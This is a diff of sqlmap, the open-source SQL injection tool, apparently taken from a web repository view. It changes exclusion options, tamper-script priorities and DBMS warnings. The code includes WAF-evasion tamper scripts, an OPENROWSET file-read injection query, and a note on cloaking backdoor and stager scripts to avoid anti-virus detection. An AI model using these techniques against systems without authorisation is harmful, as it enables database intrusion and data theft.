from lib.core.common import safeSQLIdentificatorNaming
|
from lib.core.common import safeSQLIdentificatorNaming
|
||||||
|
from lib.core.common import singleTimeLogMessage
|
||||||
from lib.core.common import unArrayizeValue
|
from lib.core.common import unArrayizeValue
|
||||||
from lib.core.common import unsafeSQLIdentificatorNaming
|
from lib.core.common import unsafeSQLIdentificatorNaming
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
@@ -68,11 +69,16 @@ class Entries:
|
|||||||
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.HSQLDB):
|
||||||
conf.db = conf.db.upper()
|
conf.db = conf.db.upper()
|
||||||
|
|
||||||
if ',' in conf.db:
|
if ',' in conf.db:
|
||||||
errMsg = "only one database name is allowed when enumerating "
|
errMsg = "only one database name is allowed when enumerating "
|
||||||
errMsg += "the tables' columns"
|
errMsg += "the tables' columns"
|
||||||
raise SqlmapMissingMandatoryOptionException(errMsg)
|
raise SqlmapMissingMandatoryOptionException(errMsg)
|
||||||
|
|
||||||
|
if conf.exclude and conf.db in conf.exclude.split(','):
|
||||||
|
infoMsg = "skipping database '%s'" % unsafeSQLIdentificatorNaming(conf.db)
|
||||||
|
singleTimeLogMessage(infoMsg)
|
||||||
|
return
|
||||||
|
|
||||||
conf.db = safeSQLIdentificatorNaming(conf.db)
|
conf.db = safeSQLIdentificatorNaming(conf.db)
|
||||||
|
|
||||||
if conf.tbl:
|
if conf.tbl:
|
||||||
@@ -99,6 +105,14 @@ class Entries:
|
|||||||
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
|
tblList[tblList.index(tbl)] = safeSQLIdentificatorNaming(tbl, True)
|
||||||
|
|
||||||
for tbl in tblList:
|
for tbl in tblList:
|
||||||
|
if kb.dumpKeyboardInterrupt:
|
||||||
|
break
|
||||||
|
|
||||||
|
if conf.exclude and tbl in conf.exclude.split(','):
|
||||||
|
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
|
||||||
|
singleTimeLogMessage(infoMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
conf.tbl = tbl
|
conf.tbl = tbl
|
||||||
kb.data.dumpedTable = {}
|
kb.data.dumpedTable = {}
|
||||||
|
|
||||||
@@ -129,8 +143,8 @@ class Entries:
|
|||||||
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
|
columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(tbl, True)]
|
||||||
colList = sorted(filter(None, columns.keys()))
|
colList = sorted(filter(None, columns.keys()))
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.exclude:
|
||||||
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
|
||||||
|
|
||||||
if not colList:
|
if not colList:
|
||||||
warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
|
warnMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(tbl)
|
||||||
@@ -459,12 +473,17 @@ class Entries:
|
|||||||
|
|
||||||
if kb.data.cachedTables:
|
if kb.data.cachedTables:
|
||||||
if isinstance(kb.data.cachedTables, list):
|
if isinstance(kb.data.cachedTables, list):
|
||||||
kb.data.cachedTables = { None: kb.data.cachedTables }
|
kb.data.cachedTables = {None: kb.data.cachedTables}
|
||||||
|
|
||||||
for db, tables in kb.data.cachedTables.items():
|
for db, tables in kb.data.cachedTables.items():
|
||||||
conf.db = db
|
conf.db = db
|
||||||
|
|
||||||
for table in tables:
|
for table in tables:
|
||||||
|
if conf.exclude and table in conf.exclude.split(','):
|
||||||
|
infoMsg = "skipping table '%s'" % unsafeSQLIdentificatorNaming(table)
|
||||||
|
logger.info(infoMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
try:
|
try:
|
||||||
conf.tbl = table
|
conf.tbl = table
|
||||||
kb.data.cachedColumns = {}
|
kb.data.cachedColumns = {}
|
||||||
@@ -530,8 +549,8 @@ class Entries:
|
|||||||
conf.tbl = table
|
conf.tbl = table
|
||||||
colList = filter(None, sorted(columns))
|
colList = filter(None, sorted(columns))
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.exclude:
|
||||||
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
|
||||||
|
|
||||||
conf.col = ','.join(colList)
|
conf.col = ','.join(colList)
|
||||||
kb.data.cachedColumns = {}
|
kb.data.cachedColumns = {}
|
||||||
|
|||||||
@@ -49,7 +49,7 @@ class Filesystem:
|
|||||||
|
|
||||||
elif Backend.isDbms(DBMS.MSSQL):
|
elif Backend.isDbms(DBMS.MSSQL):
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
|
self.createSupportTbl(self.fileTblName, self.tblField, "VARBINARY(MAX)")
|
||||||
inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField));
|
inject.goStacked("INSERT INTO %s(%s) SELECT %s FROM OPENROWSET(BULK '%s', SINGLE_BLOB) AS %s(%s)" % (self.fileTblName, self.tblField, self.tblField, remoteFile, self.fileTblName, self.tblField))
|
||||||
|
|
||||||
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
|
lengthQuery = "SELECT DATALENGTH(%s) FROM %s" % (self.tblField, self.fileTblName)
|
||||||
|
|
||||||
|
|||||||
@@ -371,8 +371,8 @@ class Search:
|
|||||||
infoMsgDb = ""
|
infoMsgDb = ""
|
||||||
colList = conf.col.split(',')
|
colList = conf.col.split(',')
|
||||||
|
|
||||||
if conf.excludeCol:
|
if conf.exclude:
|
||||||
colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')]
|
colList = [_ for _ in colList if _ not in conf.exclude.split(',')]
|
||||||
|
|
||||||
origTbl = conf.tbl
|
origTbl = conf.tbl
|
||||||
origDb = conf.db
|
origDb = conf.db
|
||||||
|
|||||||
+2
-2
@@ -1,7 +1,7 @@
|
|||||||
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
Due to the anti-virus positive detection of shell scripts stored inside this folder, we needed to somehow circumvent this. As from the plain sqlmap users perspective nothing has to be done prior to their usage by sqlmap, but if you want to have access to their original source code use the decrypt functionality of the ../extra/cloak/cloak.py utility.
|
||||||
|
|
||||||
To prepare the original scripts to the cloaked form use this command:
|
To prepare the original scripts to the cloaked form use this command:
|
||||||
find backdoor.* stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
find backdoors/backdoor.* stagers/stager.* -type f -exec python ../extra/cloak/cloak.py -i '{}' \;
|
||||||
|
|
||||||
To get back them into the original form use this:
|
To get back them into the original form use this:
|
||||||
find backdoor.*_ stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
find backdoors/backdoor.*_ stagers/stager.*_ -type f -exec python ../extra/cloak/cloak.py -d -i '{}' \;
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
+2
-2
@@ -494,8 +494,8 @@ tbl =
|
|||||||
# Back-end database management system database table column(s) to enumerate.
|
# Back-end database management system database table column(s) to enumerate.
|
||||||
col =
|
col =
|
||||||
|
|
||||||
# Back-end database management system database table column(s) to not enumerate.
|
# Back-end database management system identifiers (database(s), table(s) and column(s)) to not enumerate.
|
||||||
excludeCol =
|
exclude =
|
||||||
|
|
||||||
# Pivot column name.
|
# Pivot column name.
|
||||||
pivotColumn =
|
pivotColumn =
|
||||||
|
|||||||
@@ -297,7 +297,15 @@ def main():
|
|||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
elif "valueStack.pop" in excMsg and kb.get("dumpKeyboardInterrupt"):
|
elif "url = url.strip()" in excMsg:
|
||||||
|
dataToStdout(excMsg)
|
||||||
|
print
|
||||||
|
errMsg = "please contact '[email protected]' with details for this issue "
|
||||||
|
errMsg += "as he is trying to reproduce it for long time"
|
||||||
|
logger.error(errMsg)
|
||||||
|
raise SystemExit
|
||||||
|
|
||||||
|
elif kb.get("dumpKeyboardInterrupt"):
|
||||||
raise SystemExit
|
raise SystemExit
|
||||||
|
|
||||||
elif any(_ in excMsg for _ in ("Broken pipe",)):
|
elif any(_ in excMsg for _ in ("Broken pipe",)):
|
||||||
|
|||||||
@@ -5,12 +5,16 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.LOWEST
|
__priority__ = PRIORITY.LOWEST
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.ACCESS))
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -10,7 +10,7 @@ import base64
|
|||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
from lib.core.settings import UNICODE_ENCODING
|
from lib.core.settings import UNICODE_ENCODING
|
||||||
|
|
||||||
__priority__ = PRIORITY.LOWEST
|
__priority__ = PRIORITY.LOW
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -55,5 +55,4 @@ def tamper(payload, **kwargs):
|
|||||||
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
|
_ = "%s %s BETWEEN %s AND %s" % (match.group(2), match.group(4), match.group(5), match.group(5))
|
||||||
retVal = retVal.replace(match.group(0), _)
|
retVal = retVal.replace(match.group(0), _)
|
||||||
|
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|||||||
+1
-1
@@ -18,7 +18,7 @@ def dependencies():
|
|||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
Replaces space character after SQL statement with a valid random blank character.
|
Replaces space character after SQL statement with a valid random blank character.
|
||||||
Afterwards replace character = with LIKE operator
|
Afterwards replace character '=' with operator LIKE
|
||||||
|
|
||||||
Requirement:
|
Requirement:
|
||||||
* Blue Coat SGOS with WAF activated as documented in
|
* Blue Coat SGOS with WAF activated as documented in
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import string
|
|||||||
|
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.LOWEST
|
__priority__ = PRIORITY.NORMAL
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -5,14 +5,17 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.HIGH
|
__priority__ = PRIORITY.HIGH
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -9,12 +9,13 @@ import os
|
|||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.common import singleTimeWarnMessage
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.HIGH
|
__priority__ = PRIORITY.HIGH
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import re
|
|||||||
|
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.LOW
|
__priority__ = PRIORITY.NORMAL
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -5,12 +5,16 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.HIGHEST
|
__priority__ = PRIORITY.HIGHEST
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
@@ -7,7 +7,7 @@ See the file 'LICENSE' for copying permission
|
|||||||
|
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.LOWEST
|
__priority__ = PRIORITY.NORMAL
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
pass
|
||||||
|
|||||||
@@ -61,5 +61,3 @@ def tamper(payload, **kwargs):
|
|||||||
break
|
break
|
||||||
|
|
||||||
return payload
|
return payload
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -9,7 +9,7 @@ import re
|
|||||||
|
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.LOW
|
__priority__ = PRIORITY.NORMAL
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
+1
-2
@@ -28,7 +28,6 @@ def tamper(payload, **kwargs):
|
|||||||
Notes:
|
Notes:
|
||||||
* Useful to bypass very weak and bespoke web application firewalls
|
* Useful to bypass very weak and bespoke web application firewalls
|
||||||
that has poorly written permissive regular expressions
|
that has poorly written permissive regular expressions
|
||||||
* This tamper script should work against all (?) databases
|
|
||||||
|
|
||||||
>>> tamper('INSERT')
|
>>> tamper('INSERT')
|
||||||
'insert'
|
'insert'
|
||||||
@@ -37,7 +36,7 @@ def tamper(payload, **kwargs):
|
|||||||
retVal = payload
|
retVal = payload
|
||||||
|
|
||||||
if payload:
|
if payload:
|
||||||
for match in re.finditer(r"[A-Za-z_]+", retVal):
|
for match in re.finditer(r"\b[A-Za-z_]+\b", retVal):
|
||||||
word = match.group()
|
word = match.group()
|
||||||
|
|
||||||
if word.upper() in kb.keywords:
|
if word.upper() in kb.keywords:
|
||||||
|
|||||||
@@ -5,13 +5,17 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
|
|||||||
See the file 'LICENSE' for copying permission
|
See the file 'LICENSE' for copying permission
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
import os
|
||||||
|
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
|
from lib.core.common import singleTimeWarnMessage
|
||||||
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import PRIORITY
|
from lib.core.enums import PRIORITY
|
||||||
|
|
||||||
__priority__ = PRIORITY.HIGHER
|
__priority__ = PRIORITY.HIGHER
|
||||||
|
|
||||||
def dependencies():
|
def dependencies():
|
||||||
pass
|
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
|
||||||
|
|
||||||
def tamper(payload, **kwargs):
|
def tamper(payload, **kwargs):
|
||||||
"""
|
"""
|
||||||
|
|||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user